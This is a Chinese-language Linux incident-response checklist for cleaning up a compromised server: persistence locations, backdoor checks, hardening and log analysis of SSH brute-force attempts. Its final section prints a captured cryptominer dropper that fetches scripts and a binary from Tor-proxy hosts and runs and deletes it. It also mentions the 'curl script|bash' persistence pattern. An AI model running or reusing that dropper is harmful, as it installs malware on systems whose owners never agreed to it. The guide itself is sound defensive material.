入侵处理

首先,冷静,冷静,冷静。 重要的事情说三遍。

平复心态,开始逐步检查

如果条件允许最好临时关闭业务访问。

1. 检查恢复基础命令

  1. 通过md5sum检查关键命令是否被替换,或者直接拷贝一份命令到被入侵节点,ps、netstat、ss、lsof、top等等

2. 检查最近1天新增文件

  1. find / -ctime 1

3. 检查异常进程

  1. 通常挖矿类的进程会占用大量的CPU,而肉鸡则通常会有大量网络连接请求
  2. 通过ps命令获取CPU占用率高的进程,ps aux | sort -nrk 3,3 | head -n 5
  3. 获取内存TOP5进程,ps aux --sort -rss | head -n 5
  4. 通过lsof -p <PID>命令可以查看异常进程使用的文件和网络连接,不过通常这类后门都是自删除的,获取不到后门程序的内容。

4. 复活点检查

通常这类程序基本Kill了,还是会通过各种姿势复活,一下是常见的复活方式

4.1 Crontab

Crontab 是最常见的,建议平时备份一下这个文件和目录,出现问题时直接批量替换,避免到时候逐个排查。

检查如下目录

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

清除所有用户下的计划任务(慎用)

# crontab -r

4.2 环境变量

这些环境变量文件,其实也都是一些脚本,在里面隐秘的调用一些命令例如curl 恶意脚本|bash,这排查起来真的是让人头疼。

~/.bashrc
~/.profile
~/.bash_aliases
/etc/profile
/etc/bash.bashrc

4.3 watchdog

一般来说有的恶意程序会有专门的watchdog,这类watchdog程序会负责定期检查恶意程序的运行情况,如果不存在了则再起复活恶意程序,这类watchdog程序的进程名称一般都非常的隐蔽

建议按照启动时间追个排查一遍,任何在入侵时间范围启动的进程都值得怀疑,我遇到一个watchdog程序,名字叫做-bash,如果不是启动时间太奇怪了,差点就漏掉了它。

ps -ef --sort=start_time

4.4 自启动

有可能恶意程序会通过系统自启动的方式实现复活,所以需要检查以下这两个地方

  1. rc.local
  2. init.d

rc.local还好检查,但是,init.d下的自启服务逐个排查起来真的是伤脑袋,所以最好有备份,在出现安全事故后直接替换就好了。

5. 后门检查

5.1 SSH 检查

  1. 检查 ~/.ssh/authorized_keys
  2. 检查 SSHD程序和配置是否被篡改替换

5.2 检查 /etc/passwd、/etc/shadow、sudo

检查用户名密码文件中是否有可疑的用户,最好是避免系统服务器用户拥有登录shell的权限,以下命令是快速过滤出有登录shell功能的用户

# cat /etc/passwd|egrep 'x:0|sh$'
# awk -F: '$3==0{print $1}' /etc/passwd

检查sudo,除 root 帐号外,其他帐号是否存在 sudo 权限。如非管理需要,普通帐号应删除

# more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"

5.3 检查网络连接

有些后门会使用反向连接来保持持久访问,所以如果条件允许最好临时关闭业务访问,这样方便排查网络连接情况。不过不能停止业务也行,不过需要慢慢排查,如果那个连接一直处于ESTABLISHED状态,而且特征比较奇怪的需要多留心注意。

netstat -an|grep ESTABLISHED

6. 处理后思考

黑客是如何入侵进来的?

排除掉内鬼的因素,那么进来入侵点有以下几个

  1. 操作人员电脑被入侵或者服务器验证信息被黑客获取
  2. 利用对外暴露的服务漏洞入侵进来
  3. 利用业务上的漏洞,上传注入等提权入侵进来的

6.1 梳理服务

  1. 梳理系统运行的服务,仅运行必要的服务
  2. 对外暴露的服务满足需求的条件下,开放的范围越小越好,能监听业务网卡的就别0.0.0.0,能做白名单的接别全都放开,例如OpenSSH服务

6.2 规范用户

  1. 应用最小化权限运行,只赋予其用户最基本完成需求的权限
  2. 登录用户实名制,操作记录

6.3 备份管理

  1. 系统配置备份,/etc/
  2. 常用命令备份

6.4 历史命令配置调优

保存 1 万条命令

# sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

输出执行命令到单独历史文件

```



## 7 统一日志管理

1. 系统登录日志: Kibana Dashboard展示
2. 用户命令日志: Kibana Dashboard展示
3. 备份执行日志: Kibana Dashboard展示

#### 定位有多少IP在爆破主机的 root 帐号
* CentOS 6.x:/var/log/secure
* Ubuntu 14.04: /var/log/auth.log

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more


#### 分析爆破字典

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1

";}'|uniq -c|sort -nr


#### 分析成功的IP

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'





# 后门脚本

## 矿机
```shell
root@VM-128-6-ubuntu:~# wget -qO- -U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wget -qO- -U- http://ddgsdk6oou6znsdn.tor2web.me/i.sh||wget -qO- -U- https://ddgsdk6oou6znsdn.onion.pet/i.sh||wget -qO- -U- https://ddgsdk6oou6znsdn.onion.ws/i.sh
exec &>/dev/null
if ! ps -p $(< /tmp/.X11-lock); then
    x=/var/tmp/.x
    wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m) -O$x;chmod 777 $x;$x;rm -f $x
fi
root@VM-128-6-ubuntu:/var/tmp# file x 
x: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), statically linked, stripped
root@VM-128-6-ubuntu:/var/tmp# stat x
  File: ‘x’
  Size: 198140        Blocks: 400        IO Block: 4096   regular file
Device: fd01h/64769d    Inode: 274428      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-10-26 09:31:05.000000000 +0800
Modify: 2018-01-01 08:00:00.000000000 +0800
Change: 2018-10-26 09:31:05.407446503 +0800
 Birth: -

results matching ""

    No results matching ""